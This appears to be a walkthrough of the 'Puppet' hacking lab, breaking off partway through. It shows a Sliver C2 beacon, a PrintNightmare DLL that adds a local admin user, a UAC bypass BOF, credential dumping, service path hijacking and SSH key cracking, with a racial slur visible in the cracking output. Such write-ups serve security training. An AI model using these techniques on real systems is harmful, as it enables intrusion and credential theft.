Puppet is a medium-difficulty, multi-stage Windows and Linux hybrid machine that highlights C2 beacon abuse, PrintNightmare exploitation, UAC bypasses, and Puppet service misconfigurations. Initial enumeration reveals open FTP access hosting a Sliver beacon configuration and binary. Launching the client triggers a beacon callback from a compromised Windows host. With Sliver access, PrintNightmare is exploited to gain local admin, followed by a UAC bypass via SSPI token impersonation. Credentials are dumped using Mimikatz, revealing access to the Puppet service. Service binary path hijacking allows privilege escalation to SYSTEM. SharpHound and BloodHound expose further domain context. SSH access is pivoted to a Linux host via a recovered and cracked ed25519 private key, leading to root by abusing puppet via sudo. Certificate enumeration on the Linux host exposes domain-wide trust relationships. A malicious Puppet manifest is executed on the Domain Controller, resulting in full domain compromise. The final flag is retrieved from the Administrator’s desktop, containing credentials for the root domain user.
Enumeration
From my host machine, I had access to a single remote target. A full TCP port scan revealed several open ports, including port 31337, which is commonly used by Sliver C2 servers:
1 2 3 4 5 6 7 8 9 10 11
➜ puppet nmap -p- 10.10.253.183 --min-rate=10000 -oA ./nmap/portscan2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 15:07 EDT Nmap scan report for 10.10.253.183 Host is up (0.13s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 8140/tcp open puppet 8443/tcp open https-alt 31337/tcp open Elite
On the FTP server, I found a configuration file and Sliver client binary:
1 2 3 4 5 6 7 8 9
ftp> ls 229 Entering Extended Passive Mode (|||32668|) 150 Here comes the directory listing. -rw----r-- 1 0 0 2119 Oct 11 2024 red_127.0.0.1.cfg -rwxr-xr-x 1 0 0 36515304 Oct 12 2024 sliver-client_linux 226 Directory send OK. ftp> get red ftp> get red_127.0.0.1.cfg local: red_127.0.0.1.cfg remote: red_127.0.0.1.cfg
After downloading and inspecting the red_127.0.0.1.cfg file, it appeared to be a beacon configuration for the Sliver framework:
I imported the Sliver configuration and launched the client. Eventually, a beacon call-back was received from a machine using the domain user PUPPET\Bruce.Smith:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
➜ sliver ./sliver-client_linux import /home/sz/Documents/vulnlab/labs/medium/puppet/red_127.0.0.1.cfg 2025/05/10 15:22:10 Saved new client config to: /home/sz/.sliver-client/configs/red_127.0.0.1.cfg
➜ sliver ./sliver-client_linux Connecting to 127.0.0.1:31337 ...
sliver > use
? Select a session or beacon: BEACON 53008a92 puppet-mtls 10.10.253.182:55945 File01 PUPPET\Bruce.Smith windows/amd64 [*] Active beacon puppet-mtls (53008a92-c3ed-440e-99d3-fac986dd22b5)
sliver (puppet-mtls) > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Locale Last Check-In Next Check-In ========== ============= ======= =========== ===================== ========== ==================== ================== ======== ======================================== ====================================== 53008a92 puppet-mtls 0/0 mtls 10.10.253.182:55945 File01 PUPPET\Bruce.Smith windows/amd64 en-US Sat May 10 15:26:11 EDT 2025 (26s ago) Sat May 10 15:26:42 EDT 2025 (in 5s)
Post-Exploitation Enumeration
A look inside C:\ProgramData revealed the presence of Puppet and PuppetLabs directories, indicating the Puppet automation tool was installed on the machine.
1 2 3 4 5 6 7 8
sliver (puppet-mtls) > ls
C:\ProgramData (17 items, 4.6 KiB) ================================== -----Snip----- drwxrwxrwx Puppet <dir> Sat Oct 12 04:42:37 -0700 2024 drwxrwxrwx PuppetLabs <dir> Fri Oct 11 06:07:15 -0700 2024 -----Snip-----
To ensure operational security (OpSec), I installed default Beacon Object Files (BOFs), including TrustedSec’s situational awareness BOFs.
#Install All of the Armory sliver (puppet-mtls) > armory install all
Exploiting PrintNightmare
After basic recon yielded little of value, I uploaded and executed the PrivescCheck PowerShell script, which revealed the machine was vulnerable to PrintNightmare (CVE-2021-34527).
Policy : Limits print driver installation to Administrators Key : HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint Value : RestrictDriverInstallationToAdministrators Data : 0 Default : 1 Expected : <null|1> Description : Installing printer drivers does not require administrator privileges.
Policy : Point and Print Restrictions > NoWarningNoElevationOnInstall Key : HKLM\SOFTWARE\Policies\Microsoft\WindowsNT\Printers\PointAndPrint Value : NoWarningNoElevationOnInstall Data : 1 Default : 0 Expected : <null|0> Description : Do not show warning or elevation prompt. Note: this setting reintroduces the PrintNightmare LPE vulnerability, even if the settings 'InForest' and/or 'TrustedServers' are configured.
To exploit PrintNightmare, I used a base64-encoded payload to create an admin user using PowerShell, encoded via cyberchef.
BOOL APIENTRY DllMain( HANDLE hModule,// Handle to DLL module DWORD ul_reason_for_call,// Reason for calling function LPVOID lpReserved ) // Reserved { switch ( ul_reason_for_call ) { case DLL_PROCESS_ATTACH: // A process is loading the DLL. int i; i = system ("net user johnsmith Password123! /add"); i = system ("net localgroup administrators johnsmith /add"); break; case DLL_THREAD_ATTACH: // A process is creating a new thread. break; case DLL_THREAD_DETACH: // A thread exits normally. break; case DLL_PROCESS_DETACH: // A process unloads the DLL. break; } return TRUE; }
Using runas, I launched puppet-update.exe with the new johnsmith user:
GROUP INFORMATION Type SID Attributes ================================================= ===================== ============================================= ================================================== FILE01\None Group S-1-5-21-2946821189-2073930159-359736154-513 Mandatory group, Enabled by default, Enabled group, Everyone Well-knowngroup S-1-1-0 Mandatory group, Enabled by default, Enabled group, NT AUTHORITY\Local account and member of Administrators groupWell-knowngroup S-1-5-114 BUILTIN\Administrators Alias S-1-5-32-544 BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group, NT AUTHORITY\INTERACTIVE Well-knowngroup S-1-5-4 Mandatory group, Enabled by default, Enabled group, CONSOLE LOGON Well-knowngroup S-1-2-1 Mandatory group, Enabled by default, Enabled group, NT AUTHORITY\Authenticated Users Well-knowngroup S-1-5-11 Mandatory group, Enabled by default, Enabled group, NT AUTHORITY\This Organization Well-knowngroup S-1-5-15 Mandatory group, Enabled by default, Enabled group, NT AUTHORITY\Local account Well-knowngroup S-1-5-113 Mandatory group, Enabled by default, Enabled group, LOCAL Well-knowngroup S-1-2-0 Mandatory group, Enabled by default, Enabled group, NT AUTHORITY\NTLM Authentication Well-knowngroup S-1-5-64-10 Mandatory group, Enabled by default, Enabled group, Mandatory Label\Medium Mandatory Level Label S-1-16-8192 Mandatory group, Enabled by default, Enabled group,
Privilege Name Description State ============================= ================================================= =========================== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
# Copy the bypass in extension folder and compile cp -rp ./UAC-BOF-Bonanza/SspiUacBypass ~/.sliver-client/extensions/ cd ~/.sliver-client/extensions/SspiUacBypass/; make
After compiling we can load the BOF in sliver and then excute our beacon file in order to get elevated shell.
SspiUacBypass - Bypassing UAC with SSPI Datagram Contexts by @splinter_code
Forging a token from a fake Network Authentication through Datagram Contexts Network Authentication token forged correctly, handle --> 0x2a4 Forged Token Session ID set to 1. lsasrv!LsapApplyLoopbackSessionId adjusted the token to our current session Bypass Success! Now impersonating the forged token... Loopback network auth should be seen as elevated now Invoking CreateSvcRpc (by @x86matthew) Connecting to \\127.0.0.1\pipe\ntsvcs RPC pipe Opening service manager... Creating temporary service... Executing 'C:\programdata\puppet\puppet-update.exe' as SYSTEM user... Deleting temporary service... Finished
Now we can dump the credentials from the server. we can use both sideload to execute mimikatz binary in the beacon process and also use mimikatz built-in function.
We got credential of svc_puppet_win_t1 which seems like an agent of puppet in order to use manage this servers. lets use sharp-hound in order to get domain ACL. The build-in sharp-hound-4 is compatible with BloodHound version 5.0.0. If you are using legacy version use you can use Sharphound.
With svc_puppet_win_t1, I had rights to modify and restart the Puppet service. This allowed replacing the service binary path with my beacon payload for stealthy privilege escalation:
Enumerated available shares using sa-netshares, and found an it share.
1 2 3 4 5 6 7 8 9 10 11 12 13
sliver (puppet-mtls) > ls \\\\dc01.puppet.vl\\it
\\dc01.puppet.vl\it\ (3 items, 813.9 KiB) ========================================= drwxrwxrwx .ssh <dir> Sat Oct 12 01:39:50 -0700 2024 drwxrwxrwx firewalls <dir> Sat Oct 12 01:15:05 -0700 2024 -rw-rw-rw- PsExec64.exe 813.9 KiB Sat Oct 12 01:07:00 -0700 2024
\\dc01.puppet.vl\it\.ssh (2 items, 580 B) ========================================= -rw-rw-rw- ed25519 472 B Sat Oct 12 01:14:23 -0700 2024 -rw-rw-rw- ed25519.pub 108 B Sat Oct 12 01:40:09 -0700 2024
Inside .ssh folder, recovered a private key ed25519. Decrypted using john:
1 2 3 4 5 6 7 8 9 10 11 12 13
➜ sliver john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:58 0.01% (ETA: 2025-05-29 23:28) 0g/s 26.00p/s 26.00c/s 26.00C/s nigger..mexico1 0g 0:00:00:59 0.01% (ETA: 2025-05-29 22:54) 0g/s 26.01p/s 26.01c/s 26.01C/s daisy1..blueberry puppet (ed25519) 1g 0:00:05:12 DONE (2025-05-22 03:54) 0.003196g/s 26.23p/s 26.23c/s 26.23C/s total90..oscar123 Use the "--show" option to display all of the cracked passwords reliably Session completed.
The private key originally generated and formatted on a Windows system, used carriage return characters (CRLF), which must be converted to UNIX line endings to be compatible with OpenSSH on Linux. I used dos2unix to perform the conversion. Afterthat I set up a local port forward from the Sliver session to reach the target SSH service through the beacon.
1 2 3 4 5 6 7 8 9 10 11 12 13
#Convert the private Key ➜ Puppet dos2unix ed25519 dos2unix: converting file ed25519 to Unix format...
#Copy Beacon payload to accessible share folder sliver (puppet-mtls) > shell ? This action is bad OPSEC, are you an adult? Yes Copy-Item -Path 'C:\ProgramData\puppet\puppet-update.exe' -Destination '\\file01.puppet.vl\files\puppet-update.exe'